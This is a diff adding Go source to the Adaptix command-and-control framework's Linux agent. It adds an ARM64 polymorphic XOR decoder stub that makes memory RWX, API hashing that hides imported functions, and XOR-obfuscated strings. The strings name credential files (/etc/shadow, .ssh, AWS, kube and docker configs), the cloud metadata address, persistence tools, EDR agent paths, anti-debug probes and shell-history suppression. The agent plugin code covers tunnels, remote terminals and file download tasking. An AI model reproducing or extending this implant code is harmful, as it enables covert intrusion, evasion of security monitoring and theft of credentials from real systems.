+ rTmp0 := 13 // w13 = temp
+ rTmp1 := 14 // w14 = temp
+
+ // ── Prologue ──
+ stub = append(stub, encodeInsn(arm64SxtpX29X30PreDec())...)
+
+ // Junk NOPs (polymorphic)
+ junkCount := mrand.IntN(4) + 2
+ for i := 0; i < junkCount; i++ {
+ stub = append(stub, encodeInsn(arm64JunkInsn())...)
+ }
+
+ // ── mprotect syscall: make region RWX ──
+ // adr x9, key_data (placeholder — patched later)
+ adrKeyPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder
+
+ // adr x10, data_start (placeholder — patched later)
+ adrDataPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder
+
+ // Calculate mprotect base: page-align the stub start
+ // adr x0, stub_start (we use negative offset from current position)
+ // x0 = current_pc - (current_offset)
+ mprotectAdrPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x0, stub_start
+
+ // Page-align x0: and x0, x0, ~0xFFF
+ // bic x0, x0, #0xFFF
+ stub = append(stub, encodeInsn(0x927CE800)...) // and x0, x0, #0xFFFFFFFFFFFFF000
+
+ // mov x1, mprotect_size (placeholder — generous)
+ stub = append(stub, encodeInsn(arm64MovzX(1, 0x0020, 16))...) // movz x1, #0x200000 (2MB)
+
+ // mov x2, 7 (PROT_READ|PROT_WRITE|PROT_EXEC)
+ stub = append(stub, encodeInsn(arm64MovzX(2, 7, 0))...)
+
+ // mov x8, 226 (SYS_mprotect on Linux ARM64)
+ stub = append(stub, encodeInsn(arm64MovzX(8, 226, 0))...)
+
+ // svc #0
+ stub = append(stub, encodeInsn(arm64Svc0())...)
+
+ // More junk
+ junkCount2 := mrand.IntN(3) + 1
+ for i := 0; i < junkCount2; i++ {
+ stub = append(stub, encodeInsn(arm64JunkInsn())...)
+ }
+
+ // ── Load size from data area ──
+ // ldr w11, [x9, #16] — size is at key+16
+ stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...)
+
+ // mov w12, 0 — key index
+ stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0, 0))...)
+
+ // ── XOR decode loop ──
+ loopStart := len(stub)
+
+ // ldrb w13, [x9, x12] — key[key_idx]
+ stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...)
+
+ // ldrb w14, [x10] — data[i]
+ stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...)
+
+ // eor w14, w14, w13
+ stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...)
+
+ // strb w14, [x10]
+ stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...)
+
+ // x10 += 1
+ stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...)
+
+ // x12 = (x12 + 1) & 15
+ stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...)
+ stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...)
+
+ // subs w11, w11, #1
+ stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...)
+
+ // b.ne loop
+ loopEnd := len(stub)
+ loopOff := int32(loopStart - loopEnd)
+ stub = append(stub, encodeInsn(arm64Bne(loopOff))...)
+
+ // ── icache flush ──
+ stub = append(stub, encodeInsn(arm64DsbIsh())...)
+ stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis
+ stub = append(stub, encodeInsn(arm64DsbIsh())...)
+ stub = append(stub, encodeInsn(arm64Isb())...)
+
+ // ── Epilogue ──
+ stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...)
+
+ // Reload data_start for branch (re-adr)
+ branchAdrPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x10, data_start
+
+ // br x10
+ stub = append(stub, encodeInsn(0xD61F0000|uint32(rData)<<5)...)
+
+ // ── Data area ──
+ keyOffset = len(stub)
+ stub = append(stub, make([]byte, 16)...) // 16-byte XOR key
+
+ sizeOffset = len(stub)
+ stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size
+
+ // Align to 8 bytes
+ for len(stub)%8 != 0 {
+ stub = append(stub, 0x00)
+ }
+
+ dataStart := len(stub)
+
+ // ── Patch ADR instructions ──
+ // adr x9, key
+ adrKeyImm := int32(keyOffset - adrKeyPos)
+ binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm))
+
+ // adr x10, data_start
+ adrDataImm := int32(dataStart - adrDataPos)
+ binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm))
+
+ // adr x0, stub_start (for mprotect)
+ mprotectImm := -int32(mprotectAdrPos)
+ binary.LittleEndian.PutUint32(stub[mprotectAdrPos:mprotectAdrPos+4], arm64Adr(0, mprotectImm))
+
+ // adr x10, data_start (for branch after decode)
+ branchImm := int32(dataStart - branchAdrPos)
+ binary.LittleEndian.PutUint32(stub[branchAdrPos:branchAdrPos+4], arm64Adr(rData, branchImm))
+
+ return stub, keyOffset, sizeOffset
+}
+
+func arm64JunkInsn() uint32 {
+ switch mrand.IntN(5) {
+ case 0:
+ return arm64Nop()
+ case 1:
+ r := mrand.IntN(16)
+ return arm64MovX(r, r)
+ case 2:
+ r := mrand.IntN(16)
+ return arm64AndSelf(r)
+ case 3:
+ r := mrand.IntN(16)
+ return arm64OrrSelf(r)
+ default:
+ return arm64Nop()
+ }
+}
diff --git a/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go
new file mode 100644
index 000000000..832a38b3b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/pl_hashes_linux.go
@@ -0,0 +1,288 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "fmt"
+ mrand "math/rand/v2"
+ "strings"
+)
+
+// cryptoRandUint32 returns a cryptographically random uint32
+func cryptoRandUint32() uint32 {
+ var buf [4]byte
+ _, _ = rand.Read(buf[:])
+ return binary.LittleEndian.Uint32(buf[:])
+}
+
+// djb2Hash matches the C-side djb2_hash() — case-insensitive, seeded
+func djb2Hash(seed uint32, s string) uint32 {
+ h := seed
+ for _, c := range strings.ToLower(s) {
+ h = ((h << 5) + h) + uint32(c)
+ }
+ return h
+}
+
+// Linux libraries for hash-based resolution
+var linuxLibs = []struct{ define, libName string }{
+ {"HASH_LIB_LIBC", "libc.so.6"},
+ {"HASH_LIB_LIBPTHREAD", "libpthread.so.0"},
+ {"HASH_LIB_LIBDL", "libdl.so.2"},
+ {"HASH_LIB_LIBRESOLV", "libresolv.so.2"},
+ {"HASH_LIB_LIBM", "libm.so.6"},
+}
+
+// Linux functions to resolve by DJB2 hash
+var linuxFuncSections = []struct {
+ category string
+ funcs []struct{ define, name string }
+}{
+ {"File I/O", []struct{ define, name string }{
+ {"HASH_FUNC_OPEN", "open"},
+ {"HASH_FUNC_CLOSE", "close"},
+ {"HASH_FUNC_READ", "read"},
+ {"HASH_FUNC_WRITE", "write"},
+ {"HASH_FUNC_STAT", "stat"},
+ {"HASH_FUNC_FSTAT", "fstat"},
+ {"HASH_FUNC_UNLINK", "unlink"},
+ {"HASH_FUNC_RENAME", "rename"},
+ {"HASH_FUNC_MKDIR", "mkdir"},
+ {"HASH_FUNC_OPENDIR", "opendir"},
+ {"HASH_FUNC_READDIR", "readdir"},
+ {"HASH_FUNC_CLOSEDIR", "closedir"},
+ {"HASH_FUNC_GETCWD", "getcwd"},
+ {"HASH_FUNC_CHDIR", "chdir"},
+ {"HASH_FUNC_RMDIR", "rmdir"},
+ {"HASH_FUNC_REWINDDIR", "rewinddir"},
+ }},
+ {"Memory", []struct{ define, name string }{
+ {"HASH_FUNC_MMAP", "mmap"},
+ {"HASH_FUNC_MUNMAP", "munmap"},
+ {"HASH_FUNC_MPROTECT", "mprotect"},
+ }},
+ {"Process", []struct{ define, name string }{
+ {"HASH_FUNC_FORK", "fork"},
+ {"HASH_FUNC_EXECVE", "execve"},
+ {"HASH_FUNC_EXECVP", "execvp"},
+ {"HASH_FUNC_WAITPID", "waitpid"},
+ {"HASH_FUNC_GETPID", "getpid"},
+ {"HASH_FUNC_GETUID", "getuid"},
+ {"HASH_FUNC_GETEUID", "geteuid"},
+ {"HASH_FUNC_KILL", "kill"},
+ {"HASH_FUNC_SETSID", "setsid"},
+ {"HASH_FUNC_SETPGID", "setpgid"},
+ {"HASH_FUNC_EXIT", "_exit"},
+ {"HASH_FUNC_PRCTL", "prctl"},
+ }},
+ {"Network", []struct{ define, name string }{
+ {"HASH_FUNC_SOCKET", "socket"},
+ {"HASH_FUNC_CONNECT", "connect"},
+ {"HASH_FUNC_GETADDRINFO", "getaddrinfo"},
+ {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"},
+ {"HASH_FUNC_GETHOSTNAME", "gethostname"},
+ {"HASH_FUNC_SETSOCKOPT", "setsockopt"},
+ {"HASH_FUNC_GETSOCKOPT", "getsockopt"},
+ {"HASH_FUNC_SELECT", "select"},
+ {"HASH_FUNC_SEND", "send"},
+ {"HASH_FUNC_RECV", "recv"},
+ {"HASH_FUNC_BIND", "bind"},
+ {"HASH_FUNC_LISTEN", "listen"},
+ {"HASH_FUNC_ACCEPT", "accept"},
+ }},
+ {"Threading", []struct{ define, name string }{
+ {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"},
+ {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"},
+ {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"},
+ {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"},
+ {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"},
+ }},
+ {"Pipes & PTY", []struct{ define, name string }{
+ {"HASH_FUNC_PIPE", "pipe"},
+ {"HASH_FUNC_DUP2", "dup2"},
+ {"HASH_FUNC_FCNTL", "fcntl"},
+ {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"},
+ {"HASH_FUNC_GRANTPT", "grantpt"},
+ {"HASH_FUNC_UNLOCKPT", "unlockpt"},
+ {"HASH_FUNC_PTSNAME", "ptsname"},
+ {"HASH_FUNC_IOCTL", "ioctl"},
+ }},
+ {"System", []struct{ define, name string }{
+ {"HASH_FUNC_GETENV", "getenv"},
+ {"HASH_FUNC_SETENV", "setenv"},
+ {"HASH_FUNC_SLEEP", "sleep"},
+ {"HASH_FUNC_USLEEP", "usleep"},
+ {"HASH_FUNC_SNPRINTF", "snprintf"},
+ {"HASH_FUNC_STRTOL", "strtol"},
+ }},
+ {"User/Group", []struct{ define, name string }{
+ {"HASH_FUNC_GETPWUID", "getpwuid"},
+ {"HASH_FUNC_GETGRGID", "getgrgid"},
+ {"HASH_FUNC_GETIFADDRS", "getifaddrs"},
+ {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"},
+ {"HASH_FUNC_INET_NTOP", "inet_ntop"},
+ {"HASH_FUNC_LOCALTIME", "localtime"},
+ {"HASH_FUNC_STRFTIME", "strftime"},
+ }},
+ {"Dynamic", []struct{ define, name string }{
+ {"HASH_FUNC_DLOPEN", "dlopen"},
+ {"HASH_FUNC_DLSYM", "dlsym"},
+ {"HASH_FUNC_DLCLOSE", "dlclose"},
+ }},
+}
+
+// generateLinuxApiDefines produces a C header with DJB2 hashes for per-payload polymorphism
+func generateLinuxApiDefines(seed uint32) string {
+ var sb strings.Builder
+ sb.WriteString("// Auto-generated — per-payload DJB2 API hashes\n")
+ sb.WriteString("// Do not edit. Regenerated on each build.\n")
+ sb.WriteString("#ifndef API_DEFINES_H\n#define API_DEFINES_H\n\n")
+ sb.WriteString(fmt.Sprintf("#define DJB2_SEED 0x%08xU\n\n", seed))
+
+ // Library hashes
+ sb.WriteString("// Library hashes\n")
+ for _, lib := range linuxLibs {
+ h := djb2Hash(seed, lib.libName)
+ sb.WriteString(fmt.Sprintf("#define %-30s 0x%08xU // %s\n", lib.define, h, lib.libName))
+ }
+ sb.WriteString("\n")
+
+ // Function hashes
+ for _, section := range linuxFuncSections {
+ sb.WriteString(fmt.Sprintf("// %s\n", section.category))
+ for _, fn := range section.funcs {
+ h := djb2Hash(seed, fn.name)
+ sb.WriteString(fmt.Sprintf("#define %-35s 0x%08xU // %s\n", fn.define, h, fn.name))
+ }
+ sb.WriteString("\n")
+ }
+
+ sb.WriteString("#endif // API_DEFINES_H\n")
+ return sb.String()
+}
+
+// Obfuscated strings — Linux-specific paths and sensitive strings
+var obfuscatedStrings = []struct{ define, value string }{
+ // Paths critiques
+ {"OBF_PROC_SELF_MAPS", "/proc/self/maps"},
+ {"OBF_PROC_SELF_STATUS", "/proc/self/status"},
+ {"OBF_PROC_SELF_EXE", "/proc/self/exe"},
+ {"OBF_PROC_VERSION", "/proc/version"},
+ {"OBF_ETC_SHADOW", "/etc/shadow"},
+ {"OBF_ETC_PASSWD", "/etc/passwd"},
+ {"OBF_ETC_OS_RELEASE", "/etc/os-release"},
+ {"OBF_DEV_URANDOM", "/dev/urandom"},
+ {"OBF_BIN_SH", "/bin/sh"},
+ {"OBF_BIN_BASH", "/bin/bash"},
+ {"OBF_TMP", "/tmp"},
+ // Persistence
+ {"OBF_CRONTAB", "/usr/bin/crontab"},
+ {"OBF_SYSTEMCTL", "/usr/bin/systemctl"},
+ // Credentials
+ {"OBF_SSH_DIR", ".ssh"},
+ {"OBF_AWS_CREDS", ".aws/credentials"},
+ {"OBF_KUBE_CONFIG", ".kube/config"},
+ {"OBF_DOCKER_CONFIG", ".docker/config.json"},
+ // Container/Cloud
+ {"OBF_DOCKERENV", "/.dockerenv"},
+ {"OBF_K8S_SECRETS", "/run/secrets/kubernetes.io"},
+ {"OBF_IMDS_URL", "169.254.169.254"},
+ // EDR paths
+ {"OBF_FALCON_SENSOR", "/opt/CrowdStrike/falconctl"},
+ {"OBF_ELASTIC_AGENT", "/opt/Elastic/Agent/elastic-agent"},
+ {"OBF_WAZUH_AGENT", "/var/ossec/bin/wazuh-agentd"},
+ {"OBF_SYSDIG_AGENT", "/opt/draios/bin/sysdig"},
+ {"OBF_LACEWORK", "/var/lib/lacework"},
+ // Anti-debug
+ {"OBF_PROC_SELF_ENVIRON", "/proc/self/environ"},
+ {"OBF_PROC_1_CGROUP", "/proc/1/cgroup"},
+ {"OBF_SYS_DMI_PRODUCT", "/sys/class/dmi/id/product_name"},
+ {"OBF_SYS_DMI_VENDOR", "/sys/class/dmi/id/sys_vendor"},
+ {"OBF_PROC_CPUINFO", "/proc/cpuinfo"},
+ {"OBF_PROC_MEMINFO", "/proc/meminfo"},
+ // PTY env vars
+ {"OBF_HISTFILE", "HISTFILE=/dev/null"},
+ {"OBF_HISTFILESIZE", "HISTFILESIZE=0"},
+ {"OBF_HISTSIZE", "HISTSIZE=0"},
+}
+
+// generateObfStrings produces a C header with XOR-obfuscated strings
+func generateObfStrings() string {
+ // Generate per-payload random 16-byte XOR key
+ key := make([]byte, 16)
+ _, _ = rand.Read(key)
+
+ var sb strings.Builder
+ sb.WriteString("// Auto-generated — per-payload XOR-obfuscated strings\n")
+ sb.WriteString("// Do not edit. Regenerated on each build.\n")
+ sb.WriteString("#ifndef STRINGS_OBF_H\n#define STRINGS_OBF_H\n\n")
+ sb.WriteString("#include \n\n")
+
+ // Build nonce (unique per payload)
+ nonce := make([]byte, 16)
+ _, _ = rand.Read(nonce)
+ sb.WriteString("// Build nonce (unique per payload)\n")
+ sb.WriteString("static const uint8_t _build_nonce[] = {")
+ for i, b := range nonce {
+ if i > 0 {
+ sb.WriteString(", ")
+ }
+ sb.WriteString(fmt.Sprintf("0x%02x", b))
+ }
+ sb.WriteString("};\n\n")
+
+ // XOR key
+ sb.WriteString("static const uint8_t _xor_key[] = {")
+ for i, b := range key {
+ if i > 0 {
+ sb.WriteString(", ")
+ }
+ sb.WriteString(fmt.Sprintf("0x%02x", b))
+ }
+ sb.WriteString("};\n")
+ sb.WriteString(fmt.Sprintf("static const int _xor_key_len = %d;\n\n", len(key)))
+
+ // Deobfuscation macro
+ sb.WriteString("// Runtime deobfuscation: XOR decrypt into stack buffer, use, then zero\n")
+ sb.WriteString("#define DEOBF(name, dst) do { \\\n")
+ sb.WriteString(" for (int _i = 0; _i < (int)sizeof(name##_enc); _i++) \\\n")
+ sb.WriteString(" (dst)[_i] = name##_enc[_i] ^ _xor_key[_i % _xor_key_len]; \\\n")
+ sb.WriteString(" (dst)[sizeof(name##_enc)] = 0; \\\n")
+ sb.WriteString("} while(0)\n\n")
+
+ sb.WriteString("#define ZERO_STR(buf, len) do { \\\n")
+ sb.WriteString(" volatile char *_p = (volatile char*)(buf); \\\n")
+ sb.WriteString(" for (unsigned int _i = 0; _i < (unsigned int)(len); _i++) _p[_i] = 0; \\\n")
+ sb.WriteString("} while(0)\n\n")
+
+ // Generate each obfuscated string
+ for _, s := range obfuscatedStrings {
+ // XOR encode
+ enc := make([]byte, len(s.value))
+ for i := 0; i < len(s.value); i++ {
+ enc[i] = s.value[i] ^ key[i%len(key)]
+ }
+
+ sb.WriteString(fmt.Sprintf("// %s = \"%s\" (%d bytes)\n", s.define, s.value, len(s.value)))
+ sb.WriteString(fmt.Sprintf("static const uint8_t %s_enc[] = {", s.define))
+ for i, b := range enc {
+ if i > 0 {
+ sb.WriteString(", ")
+ }
+ sb.WriteString(fmt.Sprintf("0x%02x", b))
+ }
+ sb.WriteString("};\n")
+ sb.WriteString(fmt.Sprintf("#define %s_LEN %d\n\n", s.define, len(s.value)))
+ }
+
+ // Junk variable to prevent dead-code elimination of nonce
+ sb.WriteString("static __attribute__((used)) const uint8_t *_nonce_ref = _build_nonce;\n\n")
+
+ sb.WriteString("#endif // STRINGS_OBF_H\n")
+ return sb.String()
+}
+
+// randomJunkByte returns a random non-zero byte for padding
+func randomJunkByte() byte {
+ return byte(mrand.IntN(254) + 1)
+}
diff --git a/AdaptixServer/extenders/linux_agent/pl_main.go b/AdaptixServer/extenders/linux_agent/pl_main.go
new file mode 100644
index 000000000..adbaa6861
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/pl_main.go
@@ -0,0 +1,2165 @@
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "encoding/base64"
+ "encoding/binary"
+ "encoding/hex"
+ "encoding/json"
+ "errors"
+ "fmt"
+ "io"
+ mrand "math/rand/v2"
+ "os"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/Adaptix-Framework/axc2"
+ "github.com/google/shlex"
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+type Teamserver interface {
+ TsListenerInteralHandler(watermark string, data []byte) (string, error)
+
+ TsAgentProcessData(agentId string, bodyData []byte) error
+
+ TsAgentUpdateData(newAgentData adaptix.AgentData) error
+ TsAgentTerminate(agentId string, terminateTaskId string) error
+ TsAgentUpdateDataPartial(agentId string, updateData interface{}) error
+
+ TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error
+ TsAgentBuildLog(builderId string, status int, message string) error
+
+ TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool)
+
+ TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error
+ TsGetPivotInfoByName(pivotName string) (string, string, string)
+ TsGetPivotInfoById(pivotId string) (string, string, string)
+ TsPivotDelete(pivotId string) error
+
+ TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData)
+ TsTaskUpdate(agentId string, data adaptix.TaskData)
+ TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error)
+
+ TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error
+ TsDownloadUpdate(fileId string, state int, data []byte) error
+ TsDownloadClose(fileId string, reason int) error
+ TsDownloadSave(agentId string, fileId string, filename string, content []byte) error
+
+ TsScreenshotAdd(agentId string, Note string, Content []byte) error
+
+ TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin)
+ TsClientGuiFilesStatus(taskData adaptix.TaskData)
+ TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin)
+ TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix)
+ TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin)
+ TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix)
+
+ TsTunnelStart(TunnelId string) (string, error)
+ TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error)
+ TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error)
+ TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error)
+ TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error)
+ TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error)
+
+ TsTunnelStopSocks(AgentId string, Port int)
+ TsTunnelStopLportfwd(AgentId string, Port int)
+ TsTunnelStopRportfwd(AgentId string, Port int)
+
+ TsTunnelConnectionClose(channelId int, writeOnly bool)
+ TsTunnelConnectionHalt(channelId int, errorCode byte)
+ TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool)
+ TsTunnelConnectionData(channelId int, data []byte)
+ TsTunnelConnectionAccept(tunnelId int, channelId int)
+ TsTunnelPause(channelId int)
+ TsTunnelResume(channelId int)
+
+ TsTerminalConnExists(terminalId string) bool
+ TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error)
+ TsTerminalConnResume(agentId string, terminalId string, ioDirect bool)
+ TsTerminalConnData(terminalId string, data []byte)
+ TsTerminalConnClose(terminalId string, status string) error
+
+ TsConvertCpToUTF8(input string, codePage int) string
+ TsConvertUTF8toCp(input string, codePage int) string
+ TsWin32Error(errorCode uint) string
+}
+
+type PluginAgent struct{}
+
+type ExtenderAgent struct{}
+
+var (
+ Ts Teamserver
+ ModuleDir string
+ AgentWatermark string
+)
+
+func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent {
+ ModuleDir = moduleDir
+ AgentWatermark = watermark
+ Ts = ts.(Teamserver)
+ return &PluginAgent{}
+}
+
+func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent {
+ return &ExtenderAgent{}
+}
+
+func makeProxyTask(packData []byte) adaptix.TaskData {
+ return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false}
+}
+
+func getStringArg(args map[string]any, key string) (string, error) {
+ v, ok := args[key].(string)
+ if !ok {
+ return "", fmt.Errorf("parameter '%s' must be set", key)
+ }
+ return v, nil
+}
+
+func getFloatArg(args map[string]any, key string) (float64, error) {
+ v, ok := args[key].(float64)
+ if !ok {
+ return 0, fmt.Errorf("parameter '%s' must be set", key)
+ }
+ return v, nil
+}
+
+func getBoolArg(args map[string]any, key string) bool {
+ v, _ := args[key].(bool)
+ return v
+}
+
+/// TUNNEL
+
+func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks {
+ return adaptix.TunnelCallbacks{
+ ConnectTCP: TunnelMessageConnectTCP,
+ ConnectUDP: TunnelMessageConnectUDP,
+ WriteTCP: TunnelMessageWriteTCP,
+ WriteUDP: TunnelMessageWriteUDP,
+ Close: TunnelMessageClose,
+ Reverse: TunnelMessageReverse,
+ Pause: TunnelMessagePause,
+ Resume: TunnelMessageResume,
+ }
+}
+
+func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
+ var packData []byte
+ addr := fmt.Sprintf("%s:%d", address, port)
+ packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr})
+ cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
+ var packData []byte
+ addr := fmt.Sprintf("%s:%d", address, port)
+ packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr})
+ cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData {
+ inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data})
+ cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner}
+ packData, _ := msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData {
+ inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data})
+ cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner}
+ packData, _ := msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageClose(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData {
+ var packData []byte
+ return makeProxyTask(packData)
+}
+
+func TunnelMessagePause(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TunnelMessageResume(channelId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId})
+ cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+/// TERMINAL
+
+func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks {
+ return adaptix.TerminalCallbacks{
+ Start: TerminalMessageStart,
+ Write: TerminalMessageWrite,
+ Close: TerminalMessageClose,
+ }
+}
+
+func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW})
+ cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData {
+ return makeProxyTask(data)
+}
+
+func TerminalMessageClose(terminalId int) adaptix.TaskData {
+ var packData []byte
+ packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId})
+ cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData}
+ packData, _ = msgpack.Marshal(cmd)
+ return makeProxyTask(packData)
+}
+
+////// PLUGIN AGENT
+
+type GenerateConfig struct {
+ Format string `json:"format"`
+ Arch string `json:"arch"`
+ ReconnectTimeout string `json:"reconn_timeout"`
+ ReconnectCount int `json:"reconn_count"`
+ OpsecEnabled bool `json:"opsec_enabled"`
+}
+
+var SrcPath = "src_macos" // Go fallback (unused for native C builds)
+
+func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) {
+ var agentProfiles [][]byte
+
+ for _, transportProfile := range profile.ListenerProfiles {
+
+ var listenerMap map[string]any
+ if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil {
+ return nil, err
+ }
+
+ var (
+ generateConfig GenerateConfig
+ profileData []byte
+ )
+
+ err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
+ if err != nil {
+ return nil, err
+ }
+
+ agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64)
+ if err != nil {
+ return nil, err
+ }
+
+ listenerWatermark, err := strconv.ParseInt(transportProfile.Watermark, 16, 64)
+ if err != nil {
+ return nil, err
+ }
+
+ encrypt_key, _ := listenerMap["encrypt_key"].(string)
+ encryptKey, err := hex.DecodeString(encrypt_key)
+ if err != nil {
+ return nil, err
+ }
+
+ reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout)
+ if err != nil {
+ return nil, err
+ }
+
+ protocol, _ := listenerMap["protocol"].(string)
+ switch protocol {
+
+ case "tcp":
+
+ tcp_banner, _ := listenerMap["tcp_banner"].(string)
+
+ servers, _ := listenerMap["callback_addresses"].(string)
+
+ servers = strings.ReplaceAll(servers, " ", "")
+ servers = strings.ReplaceAll(servers, "\n", ",")
+ servers = strings.TrimSuffix(servers, ",")
+ addresses := strings.Split(servers, ",")
+
+ var sslKey []byte
+ var sslCert []byte
+ var caCert []byte
+ Ssl, _ := listenerMap["ssl"].(bool)
+ if Ssl {
+ ssl_key, _ := listenerMap["client_key"].(string)
+ sslKey, err = base64.StdEncoding.DecodeString(ssl_key)
+ if err != nil {
+ return nil, err
+ }
+
+ ssl_cert, _ := listenerMap["client_cert"].(string)
+ sslCert, err = base64.StdEncoding.DecodeString(ssl_cert)
+ if err != nil {
+ return nil, err
+ }
+
+ ca_cert, _ := listenerMap["ca_cert"].(string)
+ caCert, err = base64.StdEncoding.DecodeString(ca_cert)
+ if err != nil {
+ return nil, err
+ }
+ }
+
+ profile := Profile{
+ Type: uint(agentWatermark),
+ ListenerWatermark: uint(listenerWatermark),
